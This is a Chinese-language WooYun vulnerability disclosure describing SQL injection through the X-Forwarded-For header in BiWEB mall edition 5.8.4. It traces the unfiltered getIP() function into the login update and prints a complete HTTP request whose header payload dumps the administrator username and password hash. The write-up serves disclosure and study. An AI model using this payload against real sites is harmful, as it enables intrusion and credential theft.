当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082603

漏洞标题:BiWEB最新商城版XFF注入一枚

相关厂商:BiWEB

漏洞作者: 路人甲

提交时间:2014-11-11 17:43

修复时间:2015-02-09 17:44

公开时间:2015-02-09 17:44

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-11: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

BiWEB最新商城版XFF注入一枚

详细说明:

在wooyun上看到了有人提了BiWEB的一个XSS漏洞: WooYun: BIWEB商城版XSS盲打cookie ,也有人提了SQL注入,我也来找找它的漏洞吧。去官网下BiWEB商城版最新的5.8.4来看看。
看看用户登录处是怎么处理的。BiWEB首先对GET和POST进行了过滤,/config/filtrate.inc.php

<?php
//过滤GET或POST的值,去除两端空格和转义符号
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']);
}
?>

这里就先不说这种过滤的脑残之处了。
继续往下看,判断用户是否可以正常登录的文件/user/login.php。

无关代码
if(!empty($_POST)){
if (isset($_POST['authCode'])&&$_POST['authCode']!=$_SESSION['authCode']){
check::AlertExit("错误:验证码不匹配!",-1);
}
if ($objWebInit->userLogin($_POST,$arrGWeb['user_pass_type'],$arrGWeb['jamstr'])){
check::AlertExit("恭喜您,登陆成功!",$_SERVER['HTTP_REFERER']);
}else{
check::AlertExit("用户名或密码错误!",$_SERVER['HTTP_REFERER']);
}
}
无关代码


去看看$objWebInit->userLogin(),在/user/class/user.class.php中

public function userLogin($arrData,$isEncryption=0,$jamStr){
if(!check::CheckUser($arrData['User'])) {
check::AlertExit("输入的用户名必须是4-20字符之间的数字、字母或中文!",-1);
return false;
}
if(!check::CheckPassword($arrData['Pass'])) {
check::AlertExit("输入的密码必须是4-20字符之间的数字、字母!",-1);
return false;
}
$strPassTemp = $arrData['Pass'];
if($isEncryption){
$strPassTemp=check::strEncryption($strPassTemp,$jamStr);
}
$strSQL = "SELECT * FROM $this->tablename2 WHERE user_name = ? and password = ?";
$rs = $this->db->prepare($strSQL);
$rs->execute(array($arrData['User'],$strPassTemp));
if($arr = $rs->fetchAll()){
$arr = current($this->loadTableFieldG($arr));
$user_id = '';
$user_name = '';
$password='';
$real_name='';
$user_group = '';
$user_popedom = '';
$submit_date='';
$pass='';
$email='';
$tel='';
$company_cn='';
$user_type='';
$user_bonus='';
$_SESSION['user_id'] = $arr['user_id'];
$_SESSION['user_name'] = $arr['user_name'];
$_SESSION['password'] = $arr['password'];
$_SESSION['user_group'] = $arr['user_group'];
$_SESSION['user_grade'] = $arr['user_grade'];
$_SESSION['user_popedom'] = $arr['user_popedom'];
$_SESSION['real_name'] = $arr['real_name'];
$_SESSION['email'] = $arr['email'];
$_SESSION['tel'] = $arr['tel'];
$_SESSION['company_cn'] = $arr['company_cn'];
$_SESSION['user_type'] = $arr['user_type'];
$_SESSION['user_bonus'] = $arr['user_bonus'];
$_SESSION['pass'] = $arr['pass'];
$_SESSION['province'] = $arr['province'];
$_SESSION['city'] = $arr['city'];
$_SESSION['type_id'] = $arr['type_id'];
$arrUpdate['user_ip'] = check::getIP();
$arrUpdate['lastlog '] = date('Y-m-d H:i:s');
$arrUpdate['user_id'] = $arr['user_id'];
$this->updateUser($arrUpdate);
return true;
}
}


可以看到这里有获取ip的语句$arrUpdate['user_ip'] = check::getIP();再去看看getIP()的实现吧

static function getIP(){
$ip = '';
if (getenv("HTTP_CLIENT_IP")) $ip = getenv("HTTP_CLIENT_IP");
else if(getenv("HTTP_X_FORWARDED_FOR")) $ip = getenv("HTTP_X_FORWARDED_FOR");
else if(getenv("REMOTE_ADDR")) $ip = getenv("REMOTE_ADDR");
else $ip = "Unknow";
return $ip;
}


到这里就知道有问题了,登录,抓包,使用X-FROWARDED-FOR带入注入语句,成功注入。
Payload:

POST /user/login.php HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */*
Referer: http://192.168.0.107/
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: 192.168.0.107
Content-Length: 69
Proxy-Connection: Keep-Alive
Pragma: no-cache
x-forwarded-for:1' or (select 1 from (select count(*),concat(0x23,(select concat(user_name,0x23,password,0x23)from biweb_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or'
Cookie: AJSTAT_ok_times=1; PHPSESSID=jecfch4qn5tcnsgr87kiiv55a4
User=XXXX&Pass=123456&index_login_button.x=27&index_login_button.y=14


注入成功后SQL语句执行情况和爆出的管理员用户名和密码

注入执行情况及结果改副本.jpg

漏洞证明:

见 详细说明

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝